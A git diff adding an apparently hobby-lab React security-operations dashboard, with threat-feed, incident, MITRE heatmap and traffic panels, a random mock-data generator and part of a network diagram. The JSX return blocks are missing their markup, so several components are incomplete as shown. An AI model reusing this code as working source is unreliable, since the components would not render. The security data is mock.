+ ); +} + +export default App; diff --git a/dashboard/src/assets/react.svg b/dashboard/src/assets/react.svg new file mode 100644 index 0000000..6c87de9 --- /dev/null +++ b/dashboard/src/assets/react.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/dashboard/src/components/Header.jsx b/dashboard/src/components/Header.jsx new file mode 100644 index 0000000..1f50a93 --- /dev/null +++ b/dashboard/src/components/Header.jsx @@ -0,0 +1,57 @@ +import { useState, useEffect } from 'react'; + +const THREAT_LEVEL_STYLES = { + CRITICAL: 'bg-ap-red text-white animate-pulse-red', + HIGH: 'bg-ap-orange text-white', + ELEVATED: 'bg-ap-yellow text-ap-black', + GUARDED: 'bg-ap-green text-ap-black', +}; + +function formatTime(date) { + const h = String(date.getHours()).padStart(2, '0'); + const m = String(date.getMinutes()).padStart(2, '0'); + const s = String(date.getSeconds()).padStart(2, '0'); + return `${h}:${m}:${s}`; +} + +export default function Header({ threatLevel = 'GUARDED' }) { + const [time, setTime] = useState(() => formatTime(new Date())); + + useEffect(() => { + const id = setInterval(() => { + setTime(formatTime(new Date())); + }, 1000); + return () => clearInterval(id); + }, []); + + const badgeStyle = THREAT_LEVEL_STYLES[threatLevel] || THREAT_LEVEL_STYLES.GUARDED; + + return ( +
+ {/* Left -- Logo + Title */} +
+ Apophis + + APOPHIS SOC + +
+ + {/* Center -- System Clock */} +
+ {time} +
+ + {/* Right -- Threat Level Indicator */} +
+ + Threat Level + + + {threatLevel} + +
+
+ ); +} diff --git a/dashboard/src/components/IncidentTracker.jsx b/dashboard/src/components/IncidentTracker.jsx new file mode 100644 index 0000000..6c06593 --- /dev/null +++ b/dashboard/src/components/IncidentTracker.jsx @@ -0,0 +1,140 @@ +import { formatDistanceToNow } from 'date-fns'; + +const PRIORITY_STYLE = { + P1: 'bg-ap-red/20 text-ap-red', + P2: 'bg-ap-orange/20 text-ap-orange', + P3: 'bg-ap-yellow/20 text-ap-yellow', + P4: 'bg-ap-blue/20 text-ap-blue', +}; + +const STATUS_COLOR = { + Open: 'text-ap-red', + Investigating: 'text-ap-orange', + Contained: 'text-ap-yellow', + Resolved: 'text-ap-green', +}; + +const STATUS_DOT = { + Open: 'bg-ap-red', + Investigating: 'bg-ap-orange', + Contained: 'bg-ap-yellow', + Resolved: 'bg-ap-green', +}; + +const STATUS_ORDER = ['Open', 'Investigating', 'Contained', 'Resolved']; + +function getRelativeTime(created) { + if (!created) return '--'; + const date = created instanceof Date ? created : new Date(created); + if (Number.isNaN(date.getTime())) return '--'; + return formatDistanceToNow(date, { addSuffix: true }); +} + +function PriorityBadge({ priority }) { + const style = PRIORITY_STYLE[priority] || PRIORITY_STYLE.P4; + return ( + + {priority} + + ); +} + +function StatusBadge({ status }) { + const color = STATUS_COLOR[status] || STATUS_COLOR.Open; + return ( + + {status} + + ); +} + +function IncidentCard({ incident }) { + const { id, description, status, priority, assignee, created } = incident; + + return ( +
+ {/* Top row: priority + ID + status */} +
+ + + {id} + + + + +
+ + {/* Description */} +

+ {description} +

+ + {/* Bottom row: assignee + relative time */} +
+ {assignee && ( + + {assignee} + + )} + + {getRelativeTime(created)} + +
+
+ ); +} + +function StatsBar({ incidents }) { + const counts = STATUS_ORDER.reduce((acc, status) => { + acc[status] = incidents.filter((i) => i.status === status).length; + return acc; + }, {}); + + return ( +
+ {STATUS_ORDER.map((status) => ( +
+ + + {status} + + + {counts[status]} + +
+ ))} +
+ ); +} + +export default function IncidentTracker({ incidents = [] }) { + const activeCount = incidents.filter((i) => i.status !== 'Resolved').length; + + return ( +
+ {/* Panel header */} +
+ + Active Incidents + + {activeCount} + +
+ + {/* Stats bar */} + + + {/* Scrollable incident list */} +
+ {incidents.length === 0 && ( +
+ No incidents +
+ )} + {incidents.map((incident) => ( + + ))} +
+
+ ); +} diff --git a/dashboard/src/components/MitreHeatmap.jsx b/dashboard/src/components/MitreHeatmap.jsx new file mode 100644 index 0000000..5d286f5 --- /dev/null +++ b/dashboard/src/components/MitreHeatmap.jsx @@ -0,0 +1,128 @@ +import { useMemo } from 'react'; + +const TACTIC_ORDER = [ + 'Reconnaissance', + 'Resource Dev', + 'Initial Access', + 'Execution', + 'Persistence', + 'Priv Escalation', + 'Defense Evasion', + 'Credential Access', + 'Discovery', + 'Lateral Movement', + 'Collection', + 'C2', + 'Exfiltration', + 'Impact', +]; + +const CELL_STYLES = [ + 'bg-white/5', // 0 — not seen + 'bg-ap-blue/40', // 1 — low + 'bg-ap-yellow/50', // 2 — medium + 'bg-ap-red/70', // 3 — high +]; + +const LEGEND = [ + { label: 'None', style: 'bg-white/5' }, + { label: 'Low', style: 'bg-ap-blue/40' }, + { label: 'Med', style: 'bg-ap-yellow/50' }, + { label: 'High', style: 'bg-ap-red/70' }, +]; + +function HeatCell({ technique, value }) { + const bg = CELL_STYLES[value] ?? CELL_STYLES[0]; + + return ( +
+ ); +} + +export default function MitreHeatmap({ data = {} }) { + // Build a stable ordered structure from the data prop + const { tactics, maxRows } = useMemo(() => { + const ordered = TACTIC_ORDER + .filter((t) => data[t] != null) + .map((tactic) => ({ + tactic, + techniques: Object.entries(data[tactic]).map(([name, value]) => ({ + name, + value: Math.max(0, Math.min(3, Number(value) || 0)), + })), + })); + + const max = ordered.reduce( + (m, t) => Math.max(m, t.techniques.length), + 0, + ); + + return { tactics: ordered, maxRows: max }; + }, [data]); + + return ( +
+ {/* Panel header */} +
+ + MITRE ATT&CK Coverage +
+ + {/* Scrollable heatmap area */} +
+ {tactics.length === 0 ? ( +
+ No MITRE data +
+ ) : ( +
+ {tactics.map(({ tactic, techniques }) => ( +
+ {/* Tactic header — vertical text */} +
+ + {tactic} + +
+ + {/* Technique cells */} + {techniques.map(({ name, value }) => ( + + ))} + + {/* Pad empty rows so columns align */} + {Array.from( + { length: maxRows - techniques.length }, + (_, i) => ( +
+ ), + )} +
+ ))} +
+ )} +
+ + {/* Legend */} +
+ {LEGEND.map(({ label, style }) => ( +
+ + + {label} + +
+ ))} +
+
+ ); +} diff --git a/dashboard/src/components/NetworkTraffic.jsx b/dashboard/src/components/NetworkTraffic.jsx new file mode 100644 index 0000000..db90e7f --- /dev/null +++ b/dashboard/src/components/NetworkTraffic.jsx @@ -0,0 +1,112 @@ +import { + AreaChart, + Area, + XAxis, + YAxis, + CartesianGrid, + Tooltip, + ResponsiveContainer, + Legend, +} from 'recharts'; + +const AREA_CONFIG = [ + { dataKey: 'inbound', stroke: '#0056B3', fill: '#0056B344', name: 'Inbound' }, + { dataKey: 'outbound', stroke: '#E0E0E2', fill: '#E0E0E222', name: 'Outbound' }, + { dataKey: 'blocked', stroke: '#D72638', fill: '#D7263844', name: 'Blocked' }, +]; + +const TICK_STYLE = { + fontFamily: "'JetBrains Mono', monospace", + fontSize: '0.75rem', + fill: '#E0E0E266', +}; + +function CustomTooltip({ active, payload, label }) { + if (!active || !payload?.length) return null; + + return ( +
+

{label}

+ {payload.map((entry) => ( +

+ {entry.name}: {entry.value} Mbps +

+ ))} +
+ ); +} + +export default function NetworkTraffic({ data }) { + return ( +
+ {/* Header */} +
+ + Network Traffic + + 24H + +
+ + {/* Chart */} +
+ + + + + + + + + } cursor={{ stroke: '#E0E0E220' }} /> + + + + {AREA_CONFIG.map(({ dataKey, stroke, fill, name }) => ( + + ))} + + +
+
+ ); +} diff --git a/dashboard/src/components/SystemHealth.jsx b/dashboard/src/components/SystemHealth.jsx new file mode 100644 index 0000000..4705447 --- /dev/null +++ b/dashboard/src/components/SystemHealth.jsx @@ -0,0 +1,78 @@ +const STATUS_COLOR = { + online: 'bg-ap-green', + warning: 'bg-ap-yellow', + offline: 'bg-ap-red', +}; + +function barColor(pct) { + if (pct > 80) return 'bg-ap-red'; + if (pct >= 50) return 'bg-ap-yellow'; + return 'bg-ap-green'; +} + +function MetricBar({ label, value }) { + return ( +
+ + {label} + +
+
+
+ + {value}% + +
+ ); +} + +function SystemCard({ system }) { + const { name, status, cpu, mem, uptime } = system; + + return ( +
+ {/* Name + status dot */} +
+ + {name} + + +
+ + {/* Metrics */} +
+ + +
+ + {/* Uptime */} +

+ UP: {uptime} +

+
+ ); +} + +export default function SystemHealth({ systems }) { + return ( +
+ {/* Header */} +
+ + System Health +
+ + {/* Grid */} +
+ {systems.map((system) => ( + + ))} +
+
+ ); +} diff --git a/dashboard/src/components/ThreatFeed.jsx b/dashboard/src/components/ThreatFeed.jsx new file mode 100644 index 0000000..508097d --- /dev/null +++ b/dashboard/src/components/ThreatFeed.jsx @@ -0,0 +1,129 @@ +const SEVERITY_COLOR = { + critical: 'bg-ap-red', + high: 'bg-ap-orange', + medium: 'bg-ap-yellow', + low: 'bg-ap-blue', + info: 'bg-ap-silver-dim', +}; + +const SEVERITY_TEXT = { + critical: 'text-ap-red', + high: 'text-ap-orange', + medium: 'text-ap-yellow', + low: 'text-ap-blue', + info: 'text-ap-silver-dim', +}; + +function formatTimestamp(ts) { + if (!ts) return '--:--:--'; + const d = ts instanceof Date ? ts : new Date(ts); + if (Number.isNaN(d.getTime())) return '--:--:--'; + const h = String(d.getHours()).padStart(2, '0'); + const m = String(d.getMinutes()).padStart(2, '0'); + const s = String(d.getSeconds()).padStart(2, '0'); + return `${h}:${m}:${s}`; +} + +function SeverityDot({ severity }) { + const bg = SEVERITY_COLOR[severity] || SEVERITY_COLOR.info; + return ; +} + +function BlockedBadge({ blocked }) { + if (blocked) { + return ( + + Blocked + + ); + } + return ( + + Allowed + + ); +} + +function AlertRow({ alert }) { + const { + timestamp, + severity = 'info', + attackType, + sourceIP, + targetIP, + source, + country, + port, + blocked, + } = alert; + + const sevText = SEVERITY_TEXT[severity] || SEVERITY_TEXT.info; + + return ( +
+ {/* Top line */} +
+ + + {severity.toUpperCase()} + + + {attackType} + + + {formatTimestamp(timestamp)} + +
+ + {/* Bottom line */} +
+ + {sourceIP} + {port != null ? `:${port}` : ''} + {'->'} + {targetIP} + + {country && ( + + [{country}] + + )} + {source && ( + + {source} + + )} + + + +
+
+ ); +} + +export default function ThreatFeed({ alerts = [] }) { + return ( +
+ {/* Panel header */} +
+ + Threat Feed + + {alerts.length} + +
+ + {/* Scrollable alert list */} +
+ {alerts.length === 0 && ( +
+ No alerts +
+ )} + {alerts.map((alert) => ( + + ))} +
+
+ ); +} diff --git a/dashboard/src/components/TopThreats.jsx b/dashboard/src/components/TopThreats.jsx new file mode 100644 index 0000000..3f59a16 --- /dev/null +++ b/dashboard/src/components/TopThreats.jsx @@ -0,0 +1,115 @@ +function CountCell({ count }) { + let color = 'text-ap-silver'; + if (count > 200) color = 'text-ap-red font-bold'; + else if (count > 100) color = 'text-ap-orange font-bold'; + + return ( + + + {count.toLocaleString()} + + + ); +} + +function StatusBadge({ blocked }) { + if (blocked) { + return ( + + Blocked + + ); + } + + return ( + + Active + + ); +} + +export default function TopThreats({ threats = [] }) { + return ( +
+ {/* Panel header */} +
+ + Top Threat Sources +
+ + {/* Table area */} +
+ {threats.length === 0 ? ( +
+ No threat data +
+ ) : ( + + + + + + + + + + + + {threats.map((threat) => ( + + {/* IP */} + + + {/* Country */} + + + {/* Attack Type */} + + + {/* Count */} + + + {/* Status */} + + + ))} + +
+ IP + + Country + + Attack Type + + Count + + Status +
+ + {threat.ip} + + + + {threat.country} + + + + {threat.attackType} + + + +
+ )} +
+
+ ); +} diff --git a/dashboard/src/components/VulnSummary.jsx b/dashboard/src/components/VulnSummary.jsx new file mode 100644 index 0000000..8bf1aaa --- /dev/null +++ b/dashboard/src/components/VulnSummary.jsx @@ -0,0 +1,110 @@ +import { PieChart, Pie, Cell, ResponsiveContainer, Tooltip } from 'recharts'; + +const SEVERITY_CONFIG = [ + { key: 'critical', label: 'Critical', color: '#D72638' }, + { key: 'high', label: 'High', color: '#FF6D00' }, + { key: 'medium', label: 'Medium', color: '#FFD600' }, + { key: 'low', label: 'Low', color: '#0056B3' }, + { key: 'info', label: 'Info', color: '#E0E0E244' }, +]; + +function CustomTooltip({ active, payload }) { + if (!active || !payload?.length) return null; + const { name, value } = payload[0]; + + return ( +
+ {name} + {value} +
+ ); +} + +export default function VulnSummary({ data = {} }) { + const { + critical = 0, + high = 0, + medium = 0, + low = 0, + info = 0, + } = data; + + const total = critical + high + medium + low + info; + + const chartData = SEVERITY_CONFIG.map(({ key, label, color }) => ({ + name: label, + value: data[key] || 0, + fill: color, + })); + + return ( +
+ {/* Panel header */} +
+ + Vulnerability Summary +
+ + {/* Chart area */} +
+ + + + {chartData.map((entry, index) => ( + + ))} + + } /> + + + + {/* Center label */} +
+ + {total} + + + Total + +
+
+ + {/* Legend */} +
+ {SEVERITY_CONFIG.map(({ key, label, color }) => ( +
+ + + {label} + + + {data[key] || 0} + +
+ ))} +
+
+ ); +} diff --git a/dashboard/src/data/mockData.js b/dashboard/src/data/mockData.js new file mode 100644 index 0000000..4cb2c2a --- /dev/null +++ b/dashboard/src/data/mockData.js @@ -0,0 +1,236 @@ +// ============================================================================= +// APOPHIS SOC - Mock Data Generators +// Generates realistic-looking security operations data for the dashboard +// ============================================================================= + +const ATTACK_TYPES = [ + 'SSH Brute Force', 'SQL Injection', 'XSS Attempt', 'Port Scan', + 'DNS Tunneling', 'C2 Beacon', 'Credential Stuffing', 'DDoS SYN Flood', + 'Malware Download', 'Privilege Escalation', 'Lateral Movement', + 'Data Exfiltration', 'Phishing Link Click', 'RDP Brute Force', + 'SMB Exploit', 'ARP Spoofing', 'ICMP Flood', 'Directory Traversal', + 'Buffer Overflow', 'Zero-Day Exploit' +]; + +const SEVERITIES = ['critical', 'high', 'medium', 'low', 'info']; +const SEVERITY_WEIGHTS = [0.05, 0.15, 0.35, 0.30, 0.15]; + +const SOURCES = [ + 'Suricata IDS', 'pfSense Firewall', 'Wazuh SIEM', 'ClamAV', + 'Zeek Network Monitor', 'OSSEC HIDS', 'Fail2Ban', 'Snort IPS', + 'ModSecurity WAF', 'OpenVAS Scanner' +]; + +const COUNTRIES = [ + { code: 'CN', name: 'China', weight: 0.20 }, + { code: 'RU', name: 'Russia', weight: 0.18 }, + { code: 'US', name: 'United States', weight: 0.12 }, + { code: 'KP', name: 'North Korea', weight: 0.08 }, + { code: 'IR', name: 'Iran', weight: 0.07 }, + { code: 'BR', name: 'Brazil', weight: 0.07 }, + { code: 'IN', name: 'India', weight: 0.06 }, + { code: 'DE', name: 'Germany', weight: 0.05 }, + { code: 'NL', name: 'Netherlands', weight: 0.05 }, + { code: 'RO', name: 'Romania', weight: 0.04 }, + { code: 'UA', name: 'Ukraine', weight: 0.04 }, + { code: 'VN', name: 'Vietnam', weight: 0.04 }, +]; + +const MITRE_TACTICS = [ + 'Reconnaissance', 'Resource Dev', 'Initial Access', 'Execution', + 'Persistence', 'Priv Escalation', 'Defense Evasion', 'Credential Access', + 'Discovery', 'Lateral Movement', 'Collection', 'C2', 'Exfiltration', 'Impact' +]; + +const MITRE_TECHNIQUES = { + 'Reconnaissance': ['Active Scanning', 'Search Open Websites', 'Gather Victim Info', 'Phishing for Info'], + 'Resource Dev': ['Acquire Infrastructure', 'Develop Capabilities', 'Stage Capabilities', 'Compromise Accounts'], + 'Initial Access': ['Phishing', 'Exploit Public App', 'Valid Accounts', 'Drive-by Compromise'], + 'Execution': ['Command & Script', 'Scheduled Task', 'User Execution', 'WMI'], + 'Persistence': ['Boot Autostart', 'Create Account', 'Scheduled Task', 'Server Software'], + 'Priv Escalation': ['Abuse Elevation', 'Access Token', 'Boot Autostart', 'Exploitation'], + 'Defense Evasion': ['Obfuscation', 'Masquerading', 'Rootkit', 'Process Injection'], + 'Credential Access': ['Brute Force', 'OS Credential Dump', 'Keylogging', 'Network Sniffing'], + 'Discovery': ['Account Discovery', 'Network Scan', 'System Info', 'Process Discovery'], + 'Lateral Movement': ['Remote Services', 'SMB/Admin Share', 'Pass the Hash', 'RDP'], + 'Collection': ['Data from Local', 'Screen Capture', 'Clipboard Data', 'Email Collection'], + 'C2': ['Application Layer', 'Encrypted Channel', 'Proxy', 'Web Service'], + 'Exfiltration': ['Exfil Over C2', 'Exfil Over Web', 'Automated Exfil', 'Transfer Size Limits'], + 'Impact': ['Data Destruction', 'Data Encrypted', 'Service Stop', 'Defacement'], +}; + +// --- Utility functions --- + +function randomInt(min, max) { + return Math.floor(Math.random() * (max - min + 1)) + min; +} + +function randomFloat(min, max) { + return Math.random() * (max - min) + min; +} + +function randomChoice(arr) { + return arr[Math.floor(Math.random() * arr.length)]; +} + +function weightedChoice(items, weights) { + const r = Math.random(); + let sum = 0; + for (let i = 0; i < items.length; i++) { + sum += weights[i]; + if (r <= sum) return items[i]; + } + return items[items.length - 1]; +} + +function randomIP() { + // Generate realistic-looking external IPs (avoiding private ranges) + const firstOctet = randomChoice([1, 2, 5, 14, 23, 31, 37, 41, 45, 46, 49, 58, 59, 60, 61, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 91, 92, 93, 94, 95, 103, 104, 106, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223]); + return `${firstOctet}.${randomInt(1, 254)}.${randomInt(1, 254)}.${randomInt(1, 254)}`; +} + +let alertIdCounter = 1000; + +// --- Public API --- + +export function generateAlert() { + const severity = weightedChoice(SEVERITIES, SEVERITY_WEIGHTS); + const country = weightedChoice( + COUNTRIES.map(c => c), + COUNTRIES.map(c => c.weight) + ); + return { + id: `APH-${String(alertIdCounter++).padStart(5, '0')}`, + timestamp: new Date(), + severity, + attackType: randomChoice(ATTACK_TYPES), + sourceIP: randomIP(), + targetIP: `10.0.${randomInt(1, 5)}.${randomInt(1, 254)}`, + source: randomChoice(SOURCES), + country: country.code, + countryName: country.name, + port: randomChoice([22, 80, 443, 445, 3389, 8080, 8443, 3306, 5432, 53, 25, 110, 143, 993, 995]), + blocked: Math.random() > 0.3, + }; +} + +export function generateAlertBatch(count = 20) { + const alerts = []; + for (let i = 0; i < count; i++) { + const alert = generateAlert(); + alert.timestamp = new Date(Date.now() - randomInt(0, 3600000)); + alerts.push(alert); + } + return alerts.sort((a, b) => b.timestamp - a.timestamp); +} + +export function generateTrafficData(points = 24) { + const data = []; + const now = new Date(); + for (let i = points - 1; i >= 0; i--) { + const time = new Date(now.getTime() - i * 3600000); + const hour = time.getHours(); + // Simulate higher traffic during business hours + const multiplier = (hour >= 8 && hour <= 18) ? 1.5 : (hour >= 0 && hour <= 5) ? 0.4 : 1.0; + data.push({ + time: time.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' }), + inbound: Math.round(randomFloat(120, 450) * multiplier), + outbound: Math.round(randomFloat(80, 320) * multiplier), + blocked: Math.round(randomFloat(5, 60) * multiplier), + }); + } + return data; +} + +export function generateSystemHealth() { + return [ + { name: 'pfSense Firewall', status: Math.random() > 0.05 ? 'online' : 'warning', cpu: randomInt(8, 45), mem: randomInt(30, 70), uptime: `${randomInt(10, 90)}d` }, + { name: 'Suricata IDS', status: Math.random() > 0.08 ? 'online' : 'warning', cpu: randomInt(15, 65), mem: randomInt(40, 80), uptime: `${randomInt(5, 60)}d` }, + { name: 'Wazuh SIEM', status: Math.random() > 0.05 ? 'online' : 'warning', cpu: randomInt(20, 55), mem: randomInt(50, 85), uptime: `${randomInt(3, 45)}d` }, + { name: 'ClamAV Scanner', status: Math.random() > 0.10 ? 'online' : 'offline', cpu: randomInt(5, 30), mem: randomInt(20, 50), uptime: `${randomInt(1, 30)}d` }, + { name: 'Zeek Monitor', status: Math.random() > 0.05 ? 'online' : 'warning', cpu: randomInt(10, 50), mem: randomInt(35, 75), uptime: `${randomInt(7, 60)}d` }, + { name: 'OpenVAS', status: Math.random() > 0.12 ? 'online' : 'offline', cpu: randomInt(5, 25), mem: randomInt(15, 45), uptime: `${randomInt(2, 20)}d` }, + ]; +} + +export function generateMitreData() { + const data = {}; + for (const tactic of MITRE_TACTICS) { + data[tactic] = {}; + for (const technique of MITRE_TECHNIQUES[tactic]) { + // 0 = not seen, 1 = low, 2 = medium, 3 = high detection count + data[tactic][technique] = Math.random() > 0.4 ? randomInt(0, 3) : 0; + } + } + return data; +} + +export function generateTopThreats(count = 8) { + const threats = []; + const usedIPs = new Set(); + for (let i = 0; i < count; i++) { + let ip; + do { ip = randomIP(); } while (usedIPs.has(ip)); + usedIPs.add(ip); + const country = weightedChoice( + COUNTRIES.map(c => c), + COUNTRIES.map(c => c.weight) + ); + threats.push({ + ip, + country: country.code, + countryName: country.name, + attackType: randomChoice(ATTACK_TYPES), + count: randomInt(15, 500), + lastSeen: new Date(Date.now() - randomInt(0, 7200000)), + blocked: Math.random() > 0.2, + }); + } + return threats.sort((a, b) => b.count - a.count); +} + +export function generateIncidents() { + const statuses = ['Open', 'Investigating', 'Contained', 'Resolved']; + const priorities = ['P1', 'P2', 'P3', 'P4']; + const descriptions = [ + 'Suspicious outbound C2 traffic detected on endpoint WS-04', + 'Multiple failed SSH logins from external IP on DMZ server', + 'Malware signature detected in email attachment', + 'Unauthorized port scan from internal host 10.0.2.15', + 'Privilege escalation attempt on domain controller', + 'Data exfiltration alert: large DNS TXT queries', + 'Brute force attack on VPN gateway', + 'Phishing campaign targeting finance department', + 'Anomalous lateral movement between VLANs', + 'Ransomware indicator detected on file server', + ]; + return descriptions.slice(0, randomInt(4, 8)).map((desc, i) => ({ + id: `INC-${String(2024001 + i).padStart(7, '0')}`, + description: desc, + status: i === 0 ? 'Open' : randomChoice(statuses), + priority: i < 2 ? priorities[i] : randomChoice(priorities), + assignee: randomChoice(['analyst-1', 'analyst-2', 'lead-soc', 'ir-team']), + created: new Date(Date.now() - randomInt(3600000, 86400000 * 3)), + })); +} + +export function generateVulnSummary() { + return { + critical: randomInt(2, 8), + high: randomInt(10, 35), + medium: randomInt(25, 80), + low: randomInt(40, 120), + info: randomInt(50, 200), + }; +} + +export function getOverallThreatLevel(alerts) { + const critCount = alerts.filter(a => a.severity === 'critical').length; + const highCount = alerts.filter(a => a.severity === 'high').length; + if (critCount >= 3) return 'CRITICAL'; + if (critCount >= 1 || highCount >= 5) return 'HIGH'; + if (highCount >= 2) return 'ELEVATED'; + return 'GUARDED'; +} + +export { MITRE_TACTICS, MITRE_TECHNIQUES, SEVERITIES }; diff --git a/dashboard/src/index.css b/dashboard/src/index.css new file mode 100644 index 0000000..d632628 --- /dev/null +++ b/dashboard/src/index.css @@ -0,0 +1,89 @@ +@import "tailwindcss"; + +@theme { + --color-ap-red: #D72638; + --color-ap-red-dim: #D7263844; + --color-ap-black: #1B1B1E; + --color-ap-dark: #121214; + --color-ap-panel: #222226; + --color-ap-silver: #E0E0E2; + --color-ap-silver-dim: #E0E0E266; + --color-ap-blue: #0056B3; + --color-ap-blue-dim: #0056B344; + --color-ap-green: #00C853; + --color-ap-yellow: #FFD600; + --color-ap-orange: #FF6D00; + --font-mono: 'JetBrains Mono', monospace; + --font-sans: 'Inter', sans-serif; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + font-family: var(--font-sans); + background-color: var(--color-ap-dark); + color: var(--color-ap-silver); + overflow-x: hidden; +} + +#root { + min-height: 100vh; +} + +::-webkit-scrollbar { + width: 4px; + height: 4px; +} +::-webkit-scrollbar-track { + background: var(--color-ap-black); +} +::-webkit-scrollbar-thumb { + background: var(--color-ap-red); +} + +@keyframes pulse-red { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.5; } +} + +.animate-pulse-red { + animation: pulse-red 2s ease-in-out infinite; +} + +.panel { + background-color: var(--color-ap-panel); + border: 1px solid #E0E0E215; + position: relative; + overflow: hidden; +} + +.panel-header { + font-family: var(--font-mono); + font-size: 0.65rem; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.12em; + color: #E0E0E288; + padding: 0.65rem 0.85rem; + border-bottom: 1px solid #E0E0E210; + display: flex; + align-items: center; + gap: 0.5rem; +} + +.panel-header .dot { + width: 5px; + height: 5px; + background: var(--color-ap-red); + display: inline-block; +} + +.severity-critical { color: #D72638; } +.severity-high { color: #FF6D00; } +.severity-medium { color: #FFD600; } +.severity-low { color: #0056B3; } +.severity-info { color: #E0E0E266; } diff --git a/dashboard/src/main.jsx b/dashboard/src/main.jsx new file mode 100644 index 0000000..b9a1a6d --- /dev/null +++ b/dashboard/src/main.jsx @@ -0,0 +1,10 @@ +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import './index.css' +import App from './App.jsx' + +createRoot(document.getElementById('root')).render( + + + , +) diff --git a/dashboard/vite.config.js b/dashboard/vite.config.js new file mode 100644 index 0000000..0616e59 --- /dev/null +++ b/dashboard/vite.config.js @@ -0,0 +1,7 @@ +import { defineConfig } from 'vite' +import react from '@vitejs/plugin-react' +import tailwindcss from '@tailwindcss/vite' + +export default defineConfig({ + plugins: [react(), tailwindcss()], +}) diff --git a/logo.png b/logo.png new file mode 100644 index 0000000..eb1ba0b Binary files /dev/null and b/logo.png differ diff --git a/network-architecture.excalidraw b/network-architecture.excalidraw new file mode 100644 index 0000000..53bbb8e --- /dev/null +++ b/network-architecture.excalidraw @@ -0,0 +1,1189 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", + "elements": [ + { + "id": "title", + "type": "text", + "x": 50, + "y": 20, + "width": 800, + "height": 45, + "angle": 0, + "strokeColor": "#c92a2a", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 174002834, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Apophis Networking Security Lab - Network Architecture", + "fontSize": 32, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Apophis Networking Security Lab - Network Architecture", + "lineHeight": 1.25, + "index": "a0", + "autoResize": true + }, + { + "id": "internet", + "type": "ellipse", + "x": 400, + "y": 100, + "width": 180, + "height": 80, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "#e7f5ff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 482252686, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "internet-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "a1" + }, + { + "id": "internet-text", + "type": "text", + "x": 410, + "y": 125, + "width": 160, + "height": 25, + "angle": 0, + "strokeColor": "#1971c2", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 96661586, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Internet / ISP", + "fontSize": 18, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "internet", + "originalText": "Internet / ISP", + "lineHeight": 1.25, + "index": "a2", + "autoResize": true + }, + { + "id": "homenet-box", + "type": "rectangle", + "x": 50, + "y": 220, + "width": 200, + "height": 120, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "#d3f9d8", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1234567890, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "homenet-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "a2a" + }, + { + "id": "homenet-text", + "type": "text", + "x": 60, + "y": 230, + "width": 180, + "height": 95, + "angle": 0, + "strokeColor": "#2f9e44", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 1, + "versionNonce": 1234567891, + "isDeleted": false, + "boundElements": [], + "updated": 1770947211621, + "link": null, + "locked": false, + "text": "Home Network\nVLAN 1\n192.168.1.0/24\n\nYour PC:\n192.168.1.91", + "fontSize": 14, + "fontFamily": 1, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "homenet-box", + "originalText": "Home Network\nVLAN 1\n192.168.1.0/24\n\nYour PC:\n192.168.1.91", + "lineHeight": 1.25, + "index": "a2b", + "autoResize": true + }, + { + "id": "router", + "type": "rectangle", + "x": 350, + "y": 220, + "width": 280, + "height": 120, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "#e9ecef", + "fillStyle": "solid", + "strokeWidth": 3, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "groupIds": [], + "frameId": null, + "roundness": null, + "seed": 1, + "version": 3, + "versionNonce": 1616934350, + "isDeleted": false, + "boundElements": [ + { + "type": "text", + "id": "router-text" + } + ], + "updated": 1770947211621, + "link": null, + "locked": false, + "index": "a3" + }, + { + "id": "router-text", + "type": "text", + "x": 360, + "y": 230, + "width": 260, + "height": 95, + "angle": 0, + "strokeColor": "#495057", + "backgroundColor": "transparent", + 